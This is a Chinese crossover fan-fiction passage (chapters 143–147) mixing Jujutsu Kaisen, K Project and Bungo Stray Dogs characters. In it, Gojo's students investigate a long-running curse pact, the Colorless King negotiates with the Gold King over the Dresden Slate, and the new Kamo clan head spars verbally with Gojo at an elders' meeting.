已经存世两百余年了?”伏黑惠心中沉甸甸的,深感棘手。 “明太子。”狗卷棘也表示了自己的惊讶。 “这不可能, ”禅院真希只感觉荒唐:“先不说咒灵怎么会有耐心忍耐两百年, 就说这个村子,”她咬着牙, 目中现出冷厉:“岂不是说,他们用其他人的性命来供奉这个邪灵已经如此之久, 他们到底杀死了多少人?!” 一时之间,这几位小年轻都被这样的事镇住了。更让他们不想承认的是,这种事是人类做出来的,就算有咒灵为源头,这些人也是心甘情愿去做的。他们甚至是无比热情地以神冠称,迫不及待地想要举行着一场场的“大典”。 “为什么呀?”虎杖悠仁十分不解:“活着,就这么重要吗?拿别人的命来给自己续命,他们这样做,能多些什么啊?” “原来如此,”一片沉默中,一道声音突然在他们耳边响起,是不知何时出现在这里的五条悟,他蹲在神龛的台上,细细地看着钉崎野蔷薇手中的布卷:“这个咒灵是一个会履行约定的类型啊。” 他仿佛一点也没有为里面的内容所震惊,就在他的学生想要说些什么的时候,这位高专中的老师好似瞧出了他们内心的纠结,直接道:“不然呢?” “什么?”伏黑惠茫然。 五条悟打起精神:“因为这些人就要放弃你们从前的决心吗?可是我们一开始为的就不是他们啊。绝大多数,”这位已经成熟了很多的老师说:“这才是我们的目标。我们要救他们与他们无关,可若是你们在这里就此堕落,成为滥杀的反派,那时死在你手里的无辜者,就是绝大多数之一。” “做下这些事的不是他们,但你们应激了,决定要走上另一条道路后,受到伤害的却仍然是他们。他们什么也没做,却始终要受伤,这才是不对的。所以……” “好啦好啦。”钉崎野蔷薇连忙举起一只手,另一只手捂住脸:“我们只是一时没想到而已,才没有那样脆弱,五条老师怎么也变得这样啰嗦起来了,还说出这般的大道理?” “可能是一时想起了一些过去的事吧,”五条悟很快就笑嘻嘻起来:“不过,你们见了这个‘契约’,该不会真的以为它有什么莫名其妙的效力吧?”他瞅了这布条一眼。 “什么?”虎杖悠仁震惊:“不,不对吧,它上面写得好好的,还说‘各路神灵’……” 五条悟冷笑:“要真有神,这个世道就不会是这样的了。”他一手拿起这个布条,抖了抖:“这东西,纯粹是在骗傻子呢!” “可是,他们不是都得到了……他们想要的吗?”禅院真希握紧了拳。 “契约,若是在一边愿意履行的情况下,另一边自然是看不出什么问题的,”五条悟手一抖,这条写满了各种高大上词汇的布条立时就化为了粉末,随风散去:“所以我才说,这个咒灵是个愿意履行约定的。” 他眼罩下的眼眸依旧是苍茫纯粹的:“它与人类订下契约,人类就会心甘情愿地供奉它,并绝不会将它的消息外传,由此引来当时的咒术师。而它也能够就此积蓄力量,一直暗暗等待出世的机会。人类对于寿尽的恐惧,是永无止尽的。也是有了这样的积累,它才会有能对抗一个家族的能力。” 听的人懵懵的:“这个咒灵……它这样厉害的吗……” “感觉比我们所有人想的都多,它有这样的脑子么。”钉崎野蔷薇嘀咕了一句。禅院真希紧接着问:“可它最后,又是为什么毁坏了这样一份约定?监督局的人都说了当日死在这里的,是当时全部的村民,没有一个漏下。哦,对了,那时还有几个参加节目的小明星也在其中,就在这神龛的下方,却一个也没出事,总不可能是它改变了习性,连放在嘴边的小零食都不肯吃了吧?”她怀疑道。 “那就要问问在场的另一人,我们加茂家的新一任家主了。”五条悟十分感兴趣道:“他是如何让筹谋了这么久的咒灵毁掉过去的计划,愿意和他一起,从这被戴了两百多年的神冠下走出,并用自己的力量去与一个积蓄了千年的咒术师大族为敌,甚至始终站在他身后,不发一言呢?” “这听起来也太诡奇了!”忍不住打了个哆嗦,钉崎野蔷薇摸了摸自己的手臂,一脸沉重道:“一定是有着大秘密!” “总不会是因为‘爱’吧,”五条悟打了个趣:“总而言之,我们可以知道的是,这个咒灵绝不是那种没有思考能力的小怪物,它甚至是有着超出了很多人的智慧。加茂家的那个家主若是早知这一点,就说明了……”他期盼地看向了自己的学生。 “一份新的合作契约。”禅院真希面露思考,终于道:“只有这样他们才能维持住一种表面上的‘平等’。” “也可能是那位家主拿出了更多的利益。”钉崎野蔷薇同样在思索。 “阿巴阿巴。”虎杖悠仁满脸茫然地看着忽然画风不同起来的自己的同伴。 “也可能是那个咒灵认为再待在这里已经没什么价值了,所以转换了目标。而那时的加茂家的那个人就是最好的选择。”伏黑惠说,他的神情变得格外严肃:“可如果是这样,那位家主便是与这些村民没什么两样了,都是为这咒灵的‘约定’所蒙骗,它当初是为了拥有两百年的祭祀,那么现在,它愿意做出这幅模样,为的又是什么?” 只能是更大的目的了。它已经取得了加茂家,接下来……就是整个咒术界。真是让人一想就让人感到恐惧。“明太子!”狗卷棘脸上浮出显而易见的惊慌。 “哈哈哈,”五条悟大笑起来:“看来都已经对这件事有自己的想法了,不错,能思考出这些,说明你们这段时间都有了自己的进步。” “五条老师!”虽然听不大懂,但也知道,这次他们探索的是一个极度狡猾且强大的敌人,虎杖悠仁忍不住大喊道:“都已经这么危险了,你不做出些什么么?就算是提醒下别的人也好啊!” 五条悟从神龛旁跳了下来,他双手插进兜里,冷冷道:“你在说什么啊。” “我可是五条悟,”他转过头来:“对于我来说,没有什么是危险的。不论你们分析的怎样,到时候只要我亲自去看看,就什么危难都不存在了!” 他潇洒地发出了格外帅的宣言。 加茂月行和苍不知道高专的这一群人给他们做出了那样的判决,他们近期正在整理外界的事,当然,做这些杂物的都是五长老那帮人,连正待要返回学校的加茂宪纪也被拉入了处理文件的队伍中。他从来不知道,家族中有那样多的产业,而这些产业,又在那一年的时光里,遭受到了多少来自另外的两个家族、和一些组织的侵吞。每每看到那里,明知已与自己无关,但还是会兴起感同身受的愤怒。 加茂月行依旧没有将主要的心神从实验室中抽出,不仅是真人那里,羂索那边也受到了严刑逼迫,从其嘴中得到了许多咒术界遗传的术式,这个古来的咒术师百无禁忌,记忆中有很多都是惨无人道的咒术手法,就算是这样,月行也觉得他依旧没有被压榨完。 起码有关“死灭回游”的事,他没有透露出一点。 有了他的“帮助”,月行在真人的研究上有了突飞猛进的进展。再加上,“无色剑”本就有灵魂上的权能,所以他感到自己进入到了新一重的天地。”哦?”裴真抱起了猫:“已经有了自己的力量了吗?” 在不依靠苍的情况下,他也终是发展出了自己的手段,摆脱了末流咒术师的定位吗?裴真揉了揉“宝石”的耳朵,面上露出柔和的浅笑,也是,怎么可能会愿意一直驻足不前,就算有另一个自己。 在本体之下,他们应当是对等的。 第144章 黄金之王的命运 所有的马甲都是对等的。因为他们都是因主角而出现, 也是为了主角的想法去做那些事。一个人若是在世上感觉势单力薄,那就多出几个自己,让他们都来帮助他。人的本能是要让自己过得更好, 所以他们都会朝着一个方向前行。 这样的话,终有一日,裴真他所想的, 一定会实现的吧? 裴真没有想清楚这些,只是按照自己的想法去做了。他一步步地走到现在, 真·可以说靠得是自己。而到了此时,见到加茂月行也取得了自己的力量, 他不禁微微一笑。 将“宝石”放在了沙发上,这只他从前收养下来的猫儿近期愈发矫健了, 大概是因为不断搜寻同类的缘故, 它估计比裴真更了解这附近的区域。他拿出手机, 拨通了一个电话。 对面立刻就接通了,是一道男子的声音:“咳,阁下?” 裴真轻声问:“你的事, 怎么样了?” 另一边是羽贺茂, 是那位唯一被他允许以无色之王眷属身份在外活动的“线人”, 他瞥了眼身侧另外几个大气不敢出的人, 回道:“赤之王前段时间已经和他的吠舞罗从横滨中离去了,搬回了他们从前的地址, 他的情况好像有些糟糕, 导致青之王一直无法离开那处,没太多精力管辖异能界那边的事。” “绿之王倒是安静了一段时间, 但后来不知道发生了什么,有一个时期不断地在他们内部的手机论坛上刷屏发出许多犯罪人的信息, 让那些Jungle的成员们去解决他们,把横滨弄得一团糟。”他笑了起来:“现在那里已经成为了政客们避之不及的地方,他们都不愿去任职。听说还是一个叫夏目簌石的退休官员不得不写信去给他的一位朋友,让一个人升职到这里来。” 在他旁边的人强按捺下兴奋和紧张地听着,为首的西尾粧绷紧着脸,不敢发出一丝声音。羽贺茂继续说:“组合的人没有在横滨中找出‘书’,这样东西就像是不存在一般,蛛丝马迹的线索都没有,犹如是被人生编出来的,如果不是那个魔女,恐怕所有人都会以为自己是被骗了。” “港口mafia没落了下来,擂钵街事件后,里面加入的就是各个组织的探子,他们一波一波地往里面送,那位黑手党的首领有时候都在感叹,现在他除了在组织里抓老鼠已经无事可做了。新建成的横滨美术院邀请他去做第一任的院长,他推脱了一阵还是去了。”他勾起唇角:“连首脑都是这副样子,可想而知他的下属们是何等模样了。这个组织,彻底地废了。”他十分冷静地下了断言。 裴真听完没什么异样,城市中的黑手党在他的观念中本就是不该存在的。也就是那个时期的自己力量不足,才不得不借用那个组织的人数,现在他没有猜错的话,里面势力最强的应该是异能特务科了,游行带来的压力迫使政府不得不去看这个被它“遗忘”的城市。 “我让你关注的地方呢?”裴真问。 羽贺茂小心地看了眼四周,之后小声地说:“确实有人想要带走擂钵街的人去做实验。但这个地方的人自死去一次后就格外团结,之前有武装侦探社一直在盯着这里,所以他们没有得逞,现在侦探社放松下来,就一下子跳出来好几个不同组织的间谍……” 他讲的都是与“无色之王”这个身份有关联的,裴真也一直在听着,直到他叙说完这段时期的所有事,展现出了他作为一个线人高绝的能力,就像是在横滨市中又建起了一个雷同米花市的情报网络,他才说出此行目的:“去与‘非时院’接触一下吧,就说,我想要和那位老爷子见面。” 羽贺茂一下子就卡了壳,虽说是进入这个世界另一面没多久,但有着无色之王眷属的名头,他还是很快就弄清了这个国家的势力。“非时院”是唯一一个职权覆盖全国,能够影响到国策的组织,而这一切的原因,就是来自于那位站在这个国家最高处的那个人,黄金之王——国常路大觉。 他是与自己所效忠之人等同的另一位王者,而他又与他不同的是,他登临王位已有六十多年之久,就算起点是一样的,但在漫长的时光拉扯下,双方之间差距绝对会大到不可思议。 但他想了想,还是说:“是,阁下。” 裴真离开了侦探所,乘车去到了七釜户。 在坐车的时候,他在自己的存储里找了找,找到了一个从前抽到过的【面具】。他也没有换衣服,将面具上的表情调节到一个笑的表情,然后就着羽贺茂那边传来的消息,在最后一段距离前,将面具戴上,一步一步地去入到那座恢宏的高耸的塔中。 御柱塔的风格很有那位国常路大觉的风格,整体神秘中透出庄重。裴真的脚步声在这空荡的环境中回响,待他走入到那中心的厅堂时,就见到有一个高大的老者正在遥望着他。他身形高大魁梧,面部轮廓硬朗,岁月将他的胡须和头发完全染白了,他的目光凝落在他的面具上。 “来见人,却依旧不肯以真面目示人,”只有两人的厅堂中回荡着他的声音:“这就是你‘无色之王’的行事准则么?” 裴真在面具上的神情是笑着的,双眼是弯着向下,嘴角是与之相对的翘起向上,这让他显得有些憨。但国常路大觉可不认为这是一个简单的人,就凭他在得到“无色之剑”垂青后,完全躲开了他的搜寻,将自己隐匿了下去,就说明了他的自制力。再加上后来横滨城中那一出,让他一下子就变得与其他王不同起来。 “我这一次过来,不就足以让你将我的身份调查出来了么?”裴真没有为之所摄,他静静地站立着,停在了与黄金之王有一段距离的地方。他将双臂抱起,脸上也露出了一抹笑:“至于这面具,你就当是我为了一直维持着的‘神秘主义’最后留下的一抹遮布好了。” 黄金之王凝视着他,他胸腔震动,低沉发声:“没想到所谓的无色之王,居然还是一个会自欺欺人的人。” 裴真轻松道:“这不是什么自欺欺人,是我乐意这样做,我觉得我这样干很好,所以我就这样做了。与其他人的想法并无关系。” 黄金之王沉默了下来。他是有些搞不懂新时代的年轻人了,但他足够包容,所以他撇开了这个话题:“为什么会突然愿意过来,我以为你会一直隐藏下去,你之前不一直都是这样做的么?” “没有什么是一直能隐瞒下去的。除非我后面打算什么也不干。”从外表上来看,这一任的无色之王其实是一位很年轻的男子,最多也就是上高中的年纪,从他的体型就可以看出。暴露在外的皮肤也很白皙,整个人有一种还未沾染社会尘埃的干净。但就是这样的人,却是在执掌了一国的统帅者面前侃侃而谈,没有一丝的怯弱,不得不说,不论好坏,石板选出的人,恐怕都是这个国家最优秀的那一批。 “之前不愿意出现在人前,是因为那时的我还没有力量,”裴真目中有些迷离,似是回忆起了那时的自己,可很快他的眼中就浮出了浅波一般的笑意:“现在我愿意出来,也是因为我也有了自信可以保住自己,还有我在意的人。” 国常路大觉摇摇头:“‘王’本身就代表着力量。” “但这样的王有七个不是么?”裴真反问,他微微侧头,从面具后凝视着他:“我不想受制于人,只能决定先隐藏起来。” 国常路大觉瞧了他一眼,慢慢道:“那你现在过来又是为了什么,你还可以继续潜藏下去的。” 裴真笑了:“你想要毁掉石板吗?” 国常路大觉眼中一震,可他的身体却是没什么动作,他神情不变,但裴真已经感觉到了他目光中的力量,犹如利箭,他问:“你想要说什么?” “你就快要死了。”裴真收拢了之前所有的情绪,他淡淡地说,里面没有同情,也没有怜悯,只是在陈述一个事实。 国常路大觉警戒无比,他死死地盯着他,从牙齿中碾磨出一段话:“……你,怎么会知道?” “你曾想过毁掉石板,因为你知道,人的欲望会借用它催生出怪物。这想法也是好的,只是可惜,”裴真垂下眸,这一刻的他淡漠到不可思议:“你是出生在这样一个国家。” “二战中你的国家是一个战败国,”裴真平静道:“二战后,日本在异能界中的战场上也是一败涂地。没有超越者的你们需要‘德累斯顿石板’,七位王是你们合力抵抗超越者的牌。如果这世上没有那种恐怖的像怪物一样的超越者,它或许会被你或者谁摧毁,你也知道,绿之王一直在对着它虎视眈眈,还有一个不知在何处要做些什么的灰之王……” “可是你又无比清晰地认知到,日本不能没有石板,否则的话,你们在国际上将再也没有话语权,‘异能中的弱国’,你就是背负着这样的一个名头在支撑着,”裴真感叹道:“所以你必须要将它留下来,还要阻止绿之王对它做些什么,因为你知道,他的那些念头都只是妄想……” 第145章 石板 “因为没有哪一个国家, 会能够容许日本成为一个全民超凡的国度。他要是真的成功了,才是这个国家人的灾难。”这位无色之王十分自然地说道。 国常路大觉一直在盯着他,坐到了他这个位置的人, 已经将识人术修到了顶级,但他看到的却只能是他那张浅浅的平凡的面具,这个老人有些怀疑, 连眼部都没有开口的他是如何看到外面事物的,他只能从肢体上的动作去观察这个人的心理。 这位老人先是惊愕, 可很快,他就收拾好了心情, 直视着这位客人道:“那个孩子……是我对不起他,还有那些另外的人。” 他没有躲闪, 避重就轻, 而是道:“你的那位朋友, 在横滨中做出的那件事很好,敢想也敢做,连我也很佩服她。都是前一代人的错误, 让后一代人来买单, 是我等的失责。他不会成功的, 因为……” “因为还有青之王他们是吗?”裴真就像是看出了这位老人心中的所思所想, 明明没有视线,但国常路大觉仍觉得自己是被锁定了, “还有那个人。他们不会让石板失控。你已经背负这个国家足够久了, 有时候也会想想,是不是应该将那些交给下一代的人。” “可是, 可是……”裴真悠然从容地向前,他的脚步声响彻在黄金之王的心间, 他的话语说中了黄金之王的担忧。这个年轻人就像位解剖人性的大师,将他在每一个夜深人静时忧虑的事摆在了明面上来说。 “青之王还是太年轻了,你想要大力培养他,可时间已经不足够了。并且还有赤之王在侧,他的堕剑将会给其带来深刻的磨损。” “还有你的那位友人,”他仿佛亲眼见证了从前的一切:“你对他深具信心,可你又太清楚他的性子了,他就像只胆小的刺猬,又像只自由的鸟,他才华绝艳,可不愿履足大地。白银之王的‘不变’对你来说太难熬了,你等了他大半个世纪,对他最后会不会下来,你真的……还有从前的信心吗?” “或者说,身为国常路大觉的你可以赌,但这个国家也可以赌吗?”他宛如诱惑人的妖怪,但每一个字都打动了执政者的心。 “你想说什么?”国常路大觉已经明了这位访客的不善,他不再以新人,亦或是年轻人来看待这位神秘的无色之王了,便如同他自己所说,他愿意走出来时,便是他已拥有了守护自己和所在意人的力量。现在,他也是体会到了他另一面的强大。 他怀疑地看着他,每一个人都有自己想要的。他不惜从自己一直维持着的隐藏中走出来,更是直接令下属找上非时院,亲自来到他这对他有威胁的老头子面前,他想要做的是…… “这个国家长久以来都只能由你一个人支撑下去。它外有超越者步步紧逼,内有异能者频繁作乱,就连普通人也不安歇,犯罪率始终居高不下,前段时间中更是另创了新高,就算有一个黑暗组织被打破,其起源也是日本,你在那其中出了很大的力,可犯罪事件依旧远多于国外,这到底是什么原因?” “这片土地总是这样多灾多难,笼罩在其上的还有一个天元的结界,咒灵的威胁是真切地关系到每一个人身上,阴谋家想要掀起来自古时的叛乱,他们想要复苏古代从前的一位‘魔王’,咒灵想要取代人类本身的地位,他们联手起来,意图执掌新的秩序,为此不惜将人类的血流尽……” “啊,抱歉,”直面着黄金之王,无色之王像是后来才反应过来一般,“我忘了这最后面的事你应该还没有察觉到就是。” 他不再说咒灵的事,但这只能让国常路大觉对那更为警惕。“就像是父母看到孩子再成功,也还是会不自觉担忧一样,更不要说,你的这个‘孩子’身上还是有一大堆问题的。你真的……可以就这般死去吗?”他笑着,提出了最后一个疑问。 国常路大觉深吸口气,他没想到自己在答应来见这位无色之王后,收到的是这一系列的质问。而更可悲的是,他说的都是真的。看出这一切的是一位目的不明、行动不明的王——石板啊石板,你还真是给他出了个好大的难题啊。 “我很好奇,你的这些情报都是从哪里来的。”国常路大觉镇定地问:“这些东西,有很多是连我都不知道的,就如同你那位朋友,在横滨时,也掌握着很多绝密的消息。你们信息的获取渠道是哪里?” 裴真微笑着沉默不语。 “还有!”这位老人眉眼一竖,他没有反驳裴真的话,直接将之默认了下来,但他也格外敏锐地洞觉了其中的关键点。“你说了如此之多,可你从头到尾说的都是他人的事,你一直都没有提到的人,是你自己。” “你排除了自己,”他站立在属于黄金之王的位置上,高大的身躯显出强大的压迫:“你没有说你自己会做些什么。在王者即将混乱、四面危机起伏、新的灾难即将孕育出的同时,你会如何加入其中,并将这方国度导向何方?”他现在实在太过讨厌那张简单滑稽的面具了,只是一点材质,就将他观察对面人的一大通道掐断,从前怎么没有想到这种方法呢? “我会做我想做的。”裴真却只是十分简短地说。国常路大觉默然了下,他忽然明了其中的含义,这无疑是一种十分委婉的、侧面的、晦暗的威胁。他在表明他的立场是混沌的,他并非是他所期望的正义一派,也绝非是邪恶的一方。从始至终,他在成为无色之王后,都没有做出什么真正称得上反派的事,横滨那次的事也十分难评,现在仍有人将他的那位朋友,视作改变了人生的“神”。 “你来到这里,必然是有你想要的,”黄金之王并不愚蠢,相反,从事件外看穿其本质一直是他所擅长的,六十余年的执政时间令他成为了另一种意义上的政客,更不要说,他的权能是开发出其余人的才能,这项能力对于自己,只会增幅得更加夸张。“你纵览全局,眼光洞彻,目的也清晰明确。你不是为我来的,因为你一开始就点明了,我就快要死了!” 他的生命即将燃烧到尽头,不是因为病痛,而是某种耗尽,他的精神与精力都已“空无”,若是他不来,他接下来一段时间,就要自导出一出“失踪案”了。 “你过于理智敏锐,你就如同我一样,看到的是造成这一切的最基本的源头。你深知,力量是潜藏在这一幕之后的衡量标,所以你从一开始就不将自己置于危险之地。而在这个国度,给予我们这些人力量的源头是——” “德累斯顿石板!”两个人一起开口说话,话语重叠在一起。 国常路大觉的目光格外锐利,就如同鹰在审视它的敌人,这一刻的他,褪去了之前的一丝软弱,仿佛即将死去之言只是妄语,“你知道吗,这六十年来,我一直待在这里,为的就是将石板的力量压下去,让它不影响现世……” “可你还是依赖了它的力量不是吗?”裴真并不着急,他歪了歪头,十分轻松道。 国常路大觉闭了闭眼,这位无色之王先前的话对他的影响其实很大,因为他说的都是真实的,所以才欺骗不了自己。尤其是其中的那一句,“你真的……可以就这般死去吗?” 他相信他的友人会为了他从天上的那艘飞艇上下来,他也相信这个国家的后进者能够真正成长到可以肩负命运的时刻;但,他的友人不对这个国家有责任,那位青年的王要面对的事情又太多,一个人是如何的孤单沉重,没有人比他更了解这些了。还有这位态度暧昧、惊才绝艳的无色之王…… 他睁开了眼睛,凝视着这位年轻又神秘的王,“你想要利用它做什么?”他铿锵有力地问。 “如果你想要用它做不好的事,哪怕是后面的结局再糟糕,我也不会让你在这里再前进一步!”他语声低沉坚定道。 裴真笑了,他说:“我要做的,是一件大事。但这件大事,却是对很多人都有利的……” 他们开始进入到另一个层面的相谈。期间黄金之王的面色从惊愕到惊疑,从惊疑到敬佩,但随后,又是深深的迷惑,他们相谈了一夜,对于裴真,他始终看之不清,可他知道,这大概是他有史以来见过的最具才能的人。 裴真早在之前就对德雷斯顿石板有想法。他一直认为,石板与“书”大概都是世界中涉及到了本源的宝物,咒术与柯学世界中倒是没有,或者说剧情中没有展现出来。与一直都不愿出世的“书”相比,德累斯顿石板是他最好接触到的宝物。 最能够得手的[黄金]级宝物! 如果抽奖一直抽不到,他也不是不能在现世中去找寻。无色的王权剑与石板有着深切的关联,他王的身份让他天然就能插手这块石板的归属。黄金之王现在身处的状态也让他能够被说服,所以他愿意亲自来这里一趟,透露出一部分自己未来要做的事,再加上一些承诺,换来这件宝物的使用权。 而如果此次失败了,他预估就只能走另一条路线了。 第146章 年轻的橘子 智者常思退路。最惊险的赌局常常是在毫无他法的情况下不得已而为之的, 奇招固然有效,但有稳招,还是要选择稳。如果你不够聪明, 又想要耍弄计谋,那就尽量将每一个可能的后果都列出,然后随之想出应对的方法。 哪有什么走一步算三步, 不过是他人已经想出了九步,而其中有三步恰好对上了而已。 裴真这一次之所以敢亲身前来, 艾略特的【异空间】是很重要的一个因素。他与他之间的关系已经在上次与两王相见时暴露,有人知晓便算不上秘密, 一位超越者的存在只会给他的话语权增添砝码,他后退有路, 才不会如之前那般看重隐藏。 最重要的一点是, 黄金之王是真的老了, 他老到已经看顾不了这个国家,他必须要选出一位新的执政者,他无法信任石板选中的新的黄金之王, 若是他的老伙计来, 很有可能会选择销毁石板(原剧情中白银之王确实最后堕剑毁了石板), 可这里和单纯的K世界不同——日本不能没有七位王。 他看不穿这位突然到来的无色之王, 但他给出的计划确实是对这个国家好的,更是有可能会解决他一直以来的一个心病。最重要的是, 他现在还是活着的, 给出的只是德累斯顿石板的暂时使用权,他还可以在这期间尽量去了解这位新的王, 去判断他对这个国家是否有威胁……亦或是有助益。 而这些,也在裴真来之前的考量中。 最多也不过是亮明身份而已。【天野鹤】只是他其中的一个名字, 成为一位与绿之王类似的王也未尝不可,有了力量,其实你就会有很多个选择。又或是再次退出,转换了[身份]与[时装],甚至是连这些都不需要,因为依他现在自己的力量,新建一个合法的身份,简直是轻而易举的事。 便如同加茂月行所说的,去利用一切能利用的,若是你要去做的事是一件有利于大多数人的就更好了,能站在道德高处就站在道德高处,尽情去使用道德。没有一件救世的事是要一个人去牺牲的,利用其他人的力量又不是犯了罪,有何不可为? 相信我,那会又爽又轻松的! 加茂月行微微抬头,本体那里取得的成果他已经知晓了,先前尚只有一个轮廓的计划渐渐清晰了几分。实验了一下自己新的术式,他开始为之后的事情做打算了。 一只蓝白色的鸟儿停在了高专的围墙上,它歪着脑袋,看着学校中学生们的训练,太阳从正上方投下阳光,温度不高,暖和的喜人。 上次调查的事已经被他们写成报告提交了上去,虽然对高层没信心,但这样大的事他们还是没有隐瞒。说实话,他们已经将新一任的加茂家的家主看作了大反派,那个咒灵更是幕后超级大BOSS的角色,只是奈何有加茂家顶在前面,让他们什么都做不了。 “五条老师,”禅院真希对此最为关注,她问:“总监部调查得怎么样了?” 五条悟躺倒在长座椅上,一本书盖住了他的脸,貌似是在休憩。“调查?什么调查?”他颇为诧异。 “加茂家啊,”一边的虎杖悠仁连忙补充道:“我们不是都说了么,那个咒灵太过危险,很可能会利用那个新家主做些什么,我们最好未雨绸缪……” “你在开玩笑吗?”五条悟嬉笑起来。“知道其他人为什么不这样问吗?”五条悟看着他这位最近收下来的学生,示意他看下身旁的几位朋友,漫不经心中带着尖锐道:“你是在期待他们自己调查自己,要是他们能做到这些,就不是烂橘子了。你对他们的期望太高了。” “怎么会?”虎杖悠仁惊奇道:“这分明是对整个咒术界有威胁的事,他们也是咒术界中的一员……” 五条悟站起身来,他一只手拍在其肩膀上:“对他们来说,他们的一族才是整个的咒术界。为了一些无关紧要的人影响到自己,那是何等的不智!” 虎杖悠仁怔怔然。禅院真希叹了口气:“虽然有所预料,但真的这样发展了,还是会很生气。” “那该怎么办?”钉崎野蔷薇问,“就这样任其布置吗?啊啊啊啊,”她忽然暴躁起来:“为什么那些人的眼光就不能放开一点,好想给那些混蛋的脑袋上订上钉子啊,让他们不看重其他人!” “还能怎么办?”五条悟笑了起来,他背部微弯,自有一副随意自信的姿态,他口气昂扬道:“过段时间就是又一次高层集会的时间了,看我到时发挥!” 当日在学生们面前夸下海口,等到他到了那个逼仄的过分的小会场时,还是忍耐不住心中生出燥意。一个个的小屏风将他围成了一个圆,一双双苍老又忌惮的眼神从屏风后面偷偷看他,连说出话语的声音都是机械合成的——就这么见不得人吗,这些老东西们。 “有关两面宿傩手指的调查进行到哪一步了?”其中一个声音问:“之前的那个普通人的组织得到了一个,但是据说还有另一个,有查到是在哪里吗?” 五条悟懒洋洋道:“有人用这根手指向那个BOSS展示出了咒术的神奇,为此那个同样是老东西的家伙耗费了大量的组织内的资源,去建立一个个的秘密研究所。因此也放松了对自己组织的看顾,被人由内而外击破。” “这个人已经由黑转白,成为了另一个国家FBI中的高层,如果有第二根的手指,那线索只有可能是在他那里。你们确定要去查他么?” “先不急着接触,”又一个声音赶紧道:“涉及到了国家层面,手续会很麻烦。我们再确认一下,有了更大的把握,再去向其询问。” 五条悟嗤笑了下,像是早预料到了他们的这幅嘴脸。那人仿若有些恼怒,他厉声喝道:“两面宿傩手指的事先不说,这么多年都没有收集齐,也不差这一根了。倒是高专那里,近期有特级咒灵频繁活动的消息,为什么你们没有将其拔除?” 五条悟不为所动,他扬起头,冷淡道:“可能是因为连特级咒灵都害怕我吧,就和你们一样,都没有出现在我面前,怎么拔除?” “你!”高层震怒。 “倒是你等,”他斜着眼睛:“特级咒灵不是在你们家中就有一个吗,为什么没有听说要去拔除它的?之前还曾使小动作,要让我去对上它。怎么,没有使唤得动我,你们自己就没有力量了吗?一点动作都没有,真就这么容忍下来了?”他搞怪道,语气夸张。 没有人说话,会场中一片寂静。连之前生气的人也缄默不言,这让五条悟感到奇怪,他深知这些人的特性,忌惮他也重视他,绝不会对他的一句话没有任何反应,哪怕他是在嘲讽他们。 良久,才听得其中一处方向传来一道清凌凌的声音:“多谢五条家神子的看重,不过我想说的是,苍并没有要破坏什么的意图,你不必如此看待他。” 他的声线丝毫没有遮掩,是一个青年男人自在从容的声音。 五条悟也沉默了,几刹后,他完全不掩饰自己的兴致笑了起来,“居然是加茂家的新家主亲自到来……这么年轻,就这样躲进这些老年人的屏风后,这样真的好吗?” “还有‘苍’,是那个咒灵的名字么,”他好似不在意道:“是你给他取的?你们的感情还真是好啊。真奇怪,咒灵也是有感情的吗?” 青年的男声说:“因为家族内部一年前的事故,族内的人手过于短缺。这一次五长老有紧急的事要去处理,没有人有资格过来,我还是挺好奇高层处理事情方式的,就参与进来看看。幸而大家都很关照我,没有将我赶出去。” “也希望你不要介意,”他轻轻一笑:“我还只是个新人,如果有什么不对的地方,请尽管提出来。” “至于苍的名字,”他略微顿了顿,“那确实不是他自己取的。我们之间的感情,呵呵,我信任他犹如信任我的半身,他对我也同样如此。特级咒灵会有几率诞生自己的灵智与理慧,这一点,其实在一些书中早有记载,只是遗失了,想来五条神子先生在日后会有机会遇见的。你不必担心苍,他会是里面最安全的一个。” 只要你们没有想伤害我。 第147章 拦路 加茂家的新家主说自己带的咒灵是特级中最安全的一个。这简直就像是人牵着一只大老虎说它不吃人一样, 真能让人气笑。 五条悟就真笑了,他说:“咒术界中的术式百样,有能够操纵咒灵的办法也不奇怪。我的那些学生们调查出来的东西也是基于他们自己猜想出来的, 说不定新家主就有他自己的方法,能将这个咒灵完全掌握在手中。” 他说着好像能理解他的话。而其实他也是里面最不关注这些的那个,因为他深信自己的实力能解决一切。他只是对他很好奇, 一群烂橘子中居然出现了一只年轻的橘子,他是怎么能容忍得了这些古板自负、自私狭隘的老家伙们的?看他之前在加茂家做出的那些不应该啊。 “当然, 其他人是怎么想的,我就不知道了。”他意味深长道。 他不相信这些老东西们就真的接受了这样一个靠杀上位的邪道的年轻人, 就算只是看到他那张年轻的脸,他相信, 那些老东西们也绝对会涌出嫉恨、妒忌与忌惮等诸多的情绪。想要在这里面站稳脚跟, 你不堕落到一定程度, 是绝对不会被他们所接纳的。 小家伙,人心的阴私与幽暗,可不是那么简单的啊。五条悟在心里这样想。 面前的屏风后坐着一个挺拔的身影, 宽敞的衣物安顺地垂落在蒲团的两侧, 加茂月行勾起了唇角:“没有关系。我知道, 新的事物人总是需要一段时间去适应的, 就像开创者总是被刁难一般,率先走出一步的人会迎来更多的风雨。可是不要紧, 接受不了的人就让他们被淘汰好了, 历史的车轮下从来不缺少被碾压的尸骨。我可以接受质疑,只要他们也能接受我的处理方式就行。” 其中一个在五条悟出声后, 刚想要让加茂月行将他控制咒灵的术式道出来的一个高层顿时住了口,他的面色青白, 与另外的人一起忌惮地看向那个方向。 “哦?”五条悟挑眉:“难道你还想改变咒灵与人类之间的关系,让它们能够和我们如同宠物小精灵中的一般和谐自然地相处,然后构建出一个搞笑的乌托邦世界?” “您真是说笑了。”面对他不怀好意的话,加茂月行也只是谦恭地说道:“想不到您还有日常看子供向动画片的爱好。我可没有那种伟大的想法,”他从后方弯起眉眼:“在最初,我也仅是为了自己反抗而已。” 他轻声说:“这一次过来,也有些想要见一见你这位五条家神子的打算。我听说,你的力量在咒术界中是第一,第一总是能让人心生好奇,所以想要来亲身见一见。毕竟,日后总是要在咒术界生活的,若是往后为敌,呵呵……” 五条悟扬起头,他自信而傲然道:“那你现在见到了,咒术界的天花板,如何?”他作势要去掀开面上的眼罩,浑身上下散发出的气势压得人一沉,那些屏风都开始颤抖起来。 “五条悟!”有人大喊,声色阴沉而暴怒。 五条悟撇了撇嘴,到底没有真的动手。 加茂月行也感到了这股压力,他毕竟在一年前还是一位加茂家无人关注的小透明,咒力的总量还没有完全提升起来。但其身形没有一丝的摇摆,他微笑着沉默,没有就五条悟那句嘚瑟的话作出评语。他说:“我们这一次过来不是为了商谈咒术界总体的事宜么?为何要将关注放在我身上?” 